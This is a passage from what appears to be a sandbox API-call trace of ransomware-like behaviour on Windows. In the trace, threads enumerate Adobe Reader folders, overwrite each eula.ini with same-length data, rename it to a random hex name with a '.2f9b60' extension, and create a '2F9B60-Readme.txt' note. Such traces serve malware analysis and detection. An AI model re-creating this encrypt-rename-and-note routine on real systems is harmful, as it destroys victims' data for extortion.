_Dest=0x1cdb1d72, _Format="%c%c" | out: _Dest="4f") returned 2 [0242.062] sprintf (in: _Dest=0x1cdb1d74, _Format="%c%c" | out: _Dest="c9") returned 2 [0242.062] sprintf (in: _Dest=0x1cdb1d76, _Format="%c%c" | out: _Dest="0d") returned 2 [0242.063] sprintf (in: _Dest=0x1cdb1d78, _Format="%c%c" | out: _Dest="4b") returned 2 [0242.063] sprintf (in: _Dest=0x1cdb1d7a, _Format="%c%c" | out: _Dest="c1") returned 2 [0242.063] sprintf (in: _Dest=0x1cdb1d7c, _Format="%c%c" | out: _Dest="f3") returned 2 [0242.063] sprintf (in: _Dest=0x1cdb1d7e, _Format="%c%c" | out: _Dest="17") returned 2 [0242.063] RtlInitAnsiString (in: DestinationString=0x2574f7e8, SourceString="0561b5238b8a2af38a4fc90d4bc1f317" | out: DestinationString="0561b5238b8a2af38a4fc90d4bc1f317") [0242.063] RtlAnsiStringToUnicodeString (in: DestinationString=0x2574f7b8, SourceString="0561b5238b8a2af38a4fc90d4bc1f317", AllocateDestinationString=1 | out: DestinationString="0561b5238b8a2af38a4fc90d4bc1f317") returned 0x0 [0242.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce613d0 [0242.063] wcscat (in: _Dest=0x2027a290, _Source="0561b523" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\0561b523") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\0561b523" [0242.063] wcscat (in: _Dest=0x2027a290, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\0561b523.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\0561b523.2f9b60" [0242.063] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\0561b523.2f9b60", NtPathName=0x2574f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\0561b523.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x431123a0 [0243.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431123a0) returned 1 [0243.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4308fee0) returned 1 [0243.035] NtQueryInformationFile (in: FileHandle=0xfdc, IoStatusBlock=0x2574f7f8, FileInformation=0x2574f808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2574f7f8, FileInformation=0x2574f808) returned 0x0 [0243.035] NtSetInformationFile (FileHandle=0xfdc, IoStatusBlock=0x2574f7f8, FileInformation=0x2574f808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0243.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a290) returned 1 [0243.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce613d0) returned 1 [0243.381] FlushFileBuffers (hFile=0xfdc) returned 1 [0243.388] CloseHandle (hObject=0xfdc) returned 1 [0243.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad8c0 [0243.479] wcscpy (in: _Dest=0x202ad8c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\" [0243.479] wcscat (in: _Dest=0x202ad8c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\2F9B60-Readme.txt" [0243.479] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\2f9b60-readme.txt")) returned 0xffffffff [0243.479] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 3775 os_tid = 0x1ec0 [0227.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79da70 [0227.581] wcscpy (in: _Dest=0x1b79da70, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU" [0227.581] wcscat (in: _Dest=0x1b79da70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\" [0227.581] wcscat (in: _Dest=0x1b79da70, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\*" [0227.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027e2d0 [0227.582] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\*", lpFindFileData=0x2027e2d0 | out: lpFindFileData=0x2027e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x431f9cc0 [0228.771] wcscmp (_String1=".", _String2=".") returned 0 [0228.771] FindNextFileW (in: hFindFile=0x431f9cc0, lpFindFileData=0x2027e2d0 | out: lpFindFileData=0x2027e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.771] wcscmp (_String1="..", _String2=".") returned 1 [0228.771] wcscmp (_String1="..", _String2="..") returned 0 [0228.771] FindNextFileW (in: hFindFile=0x431f9cc0, lpFindFileData=0x2027e2d0 | out: lpFindFileData=0x2027e2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0228.771] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0228.771] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0228.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x431547b0 [0228.772] wcscpy (in: _Dest=0x431547b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU" [0228.772] wcscat (in: _Dest=0x431547b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\" [0228.772] wcscat (in: _Dest=0x431547b0, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini" [0228.772] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\eula.ini")) returned 0x20 [0228.772] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", dwFileAttributes=0x20) returned 1 [0228.773] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\eula.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b50 [0228.774] GetFileSizeEx (in: hFile=0x1b50, lpFileSize=0x2b8cfd60 | out: lpFileSize=0x2b8cfd60*=1316) returned 1 [0228.775] SetFilePointerEx (in: hFile=0x1b50, liDistanceToMove=0x520, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.775] ReadFile (in: hFile=0x1b50, lpBuffer=0x2b8cfce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b8cfd28, lpOverlapped=0x0 | out: lpBuffer=0x2b8cfce0*, lpNumberOfBytesRead=0x2b8cfd28*=0x4, lpOverlapped=0x0) returned 1 [0229.037] SetFilePointerEx (in: hFile=0x1b50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0e00 [0229.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0e60 [0229.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0cb0 [0229.038] NtQuerySystemTime (in: CurrentTime=0x2b8cfc20 | out: CurrentTime=0x2b8cfc20*=132462178330246000) returned 0x0 [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x2c4a5358 [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x5889e37c [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0xdcaa634 [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x37bfe47c [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x2f228f5b [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x4ee0d70c [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x565be3ec [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x15949bf [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x44184398 [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x1d84b1b8 [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x3a5ca4ae [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x90f0b0b [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x48d0996a [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x6f51343e [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x1bf8f2f7 [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x7c53cd60 [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x2eb59108 [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x2906d9ab [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x407eec55 [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x5af742bc [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x49903dc6 [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x30fdd084 [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x824408a [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x67afb17b [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x47cddd19 [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x7c5ad5d6 [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x3487bc29 [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x6670a997 [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x5d6ed39e [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x4e74c4da [0229.038] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x65cc3e57 [0229.039] RtlRandomEx (in: Seed=0x2b8cfc10 | out: Seed=0x2b8cfc10) returned 0x3bbfd58f [0229.048] ReadFile (in: hFile=0x1b50, lpBuffer=0x4236e130, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x2b8cfc10, lpOverlapped=0x0 | out: lpBuffer=0x4236e130*, lpNumberOfBytesRead=0x2b8cfc10*=0x524, lpOverlapped=0x0) returned 1 [0229.048] SetFilePointerEx (in: hFile=0x1b50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.048] WriteFile (in: hFile=0x1b50, lpBuffer=0x4236a520*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x2b8cfc14, lpOverlapped=0x0 | out: lpBuffer=0x4236a520*, lpNumberOfBytesWritten=0x2b8cfc14*=0x524, lpOverlapped=0x0) returned 1 [0239.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b380 [0239.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b350 [0239.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b350) returned 1 [0239.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4236a520) returned 1 [0239.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4236e130) returned 1 [0239.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868dc0) returned 1 [0239.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce624b0) returned 1 [0239.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x4313b350 [0239.139] SetFilePointerEx (in: hFile=0x1b50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.139] WriteFile (in: hFile=0x1b50, lpBuffer=0x1cebcf10*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2b8cfd30, lpOverlapped=0x0 | out: lpBuffer=0x1cebcf10*, lpNumberOfBytesWritten=0x2b8cfd30*=0x102, lpOverlapped=0x0) returned 1 [0242.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62640 [0242.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb40d0 [0242.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb40d0) returned 1 [0242.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0242.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb40d0 [0242.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0ef0 [0242.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0ef0) returned 1 [0242.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62640) returned 1 [0242.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1cdb0ef0 [0242.068] sprintf (in: _Dest=0x1cdb0ef0, _Format="%c%c" | out: _Dest="1a") returned 2 [0242.068] sprintf (in: _Dest=0x1cdb0ef2, _Format="%c%c" | out: _Dest="8d") returned 2 [0242.068] sprintf (in: _Dest=0x1cdb0ef4, _Format="%c%c" | out: _Dest="ad") returned 2 [0242.069] sprintf (in: _Dest=0x1cdb0ef6, _Format="%c%c" | out: _Dest="53") returned 2 [0242.069] sprintf (in: _Dest=0x1cdb0ef8, _Format="%c%c" | out: _Dest="ce") returned 2 [0242.069] sprintf (in: _Dest=0x1cdb0efa, _Format="%c%c" | out: _Dest="d6") returned 2 [0242.069] sprintf (in: _Dest=0x1cdb0efc, _Format="%c%c" | out: _Dest="a7") returned 2 [0242.069] sprintf (in: _Dest=0x1cdb0efe, _Format="%c%c" | out: _Dest="ba") returned 2 [0242.069] sprintf (in: _Dest=0x1cdb0f00, _Format="%c%c" | out: _Dest="83") returned 2 [0242.069] sprintf (in: _Dest=0x1cdb0f02, _Format="%c%c" | out: _Dest="4b") returned 2 [0242.069] sprintf (in: _Dest=0x1cdb0f04, _Format="%c%c" | out: _Dest="bc") returned 2 [0242.069] sprintf (in: _Dest=0x1cdb0f06, _Format="%c%c" | out: _Dest="22") returned 2 [0242.069] sprintf (in: _Dest=0x1cdb0f08, _Format="%c%c" | out: _Dest="45") returned 2 [0242.069] sprintf (in: _Dest=0x1cdb0f0a, _Format="%c%c" | out: _Dest="e1") returned 2 [0242.069] sprintf (in: _Dest=0x1cdb0f0c, _Format="%c%c" | out: _Dest="f6") returned 2 [0242.069] sprintf (in: _Dest=0x1cdb0f0e, _Format="%c%c" | out: _Dest="71") returned 2 [0242.069] RtlInitAnsiString (in: DestinationString=0x2b8cfda8, SourceString="1a8dad53ced6a7ba834bbc2245e1f671" | out: DestinationString="1a8dad53ced6a7ba834bbc2245e1f671") [0242.069] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b8cfd78, SourceString="1a8dad53ced6a7ba834bbc2245e1f671", AllocateDestinationString=1 | out: DestinationString="1a8dad53ced6a7ba834bbc2245e1f671") returned 0x0 [0242.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce61420 [0242.070] wcscat (in: _Dest=0x2027a6f0, _Source="1a8dad53" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\1a8dad53") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\1a8dad53" [0242.070] wcscat (in: _Dest=0x2027a6f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\1a8dad53.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\1a8dad53.2f9b60" [0242.070] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\1a8dad53.2f9b60", NtPathName=0x2b8cfd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\1a8dad53.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x43110720 [0243.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43110720) returned 1 [0243.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43090110) returned 1 [0243.038] NtQueryInformationFile (in: FileHandle=0x1b50, IoStatusBlock=0x2b8cfdb8, FileInformation=0x2b8cfdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b8cfdb8, FileInformation=0x2b8cfdc8) returned 0x0 [0243.038] NtSetInformationFile (FileHandle=0x1b50, IoStatusBlock=0x2b8cfdb8, FileInformation=0x2b8cfdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0243.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a6f0) returned 1 [0243.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61420) returned 1 [0243.392] FlushFileBuffers (hFile=0x1b50) returned 1 [0243.400] CloseHandle (hObject=0x1b50) returned 1 [0243.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad600 [0243.484] wcscpy (in: _Dest=0x202ad600, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\" [0243.484] wcscat (in: _Dest=0x202ad600, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\2F9B60-Readme.txt" [0243.484] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\2f9b60-readme.txt")) returned 0xffffffff [0243.484] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 3776 os_tid = 0x1404 [0227.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79e3f0 [0227.609] wcscpy (in: _Dest=0x1b79e3f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU" [0227.609] wcscat (in: _Dest=0x1b79e3f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\" [0227.609] wcscat (in: _Dest=0x1b79e3f0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\*" [0227.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027f650 [0227.609] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\*", lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x431f9900 [0228.811] wcscmp (_String1=".", _String2=".") returned 0 [0228.811] FindNextFileW (in: hFindFile=0x431f9900, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.811] wcscmp (_String1="..", _String2=".") returned 1 [0228.811] wcscmp (_String1="..", _String2="..") returned 0 [0228.811] FindNextFileW (in: hFindFile=0x431f9900, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0228.811] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0228.812] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0228.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x43108100 [0228.812] wcscpy (in: _Dest=0x43108100, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU" [0228.813] wcscat (in: _Dest=0x43108100, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\" [0228.813] wcscat (in: _Dest=0x43108100, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini" [0228.813] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\eula.ini")) returned 0x20 [0228.813] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", dwFileAttributes=0x20) returned 1 [0228.814] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\eula.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, 